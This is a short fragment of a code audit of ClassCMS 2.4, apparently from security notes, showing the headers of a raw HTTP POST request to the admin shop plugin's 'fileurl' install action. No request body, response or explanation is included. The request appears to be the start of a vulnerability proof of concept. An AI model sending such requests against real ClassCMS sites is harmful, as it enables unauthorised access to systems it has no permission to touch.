ClassCMS 2.4代码审计1

POST /admin666?do=shop:index&ajax=1&action=fileurl&from=install HTTP/1.1

Host: classcms

Content-Length: 43

Accept: application/json, text/javascript, */*; q=0.01

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Sa

fari/537.36

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Origin: http://classcms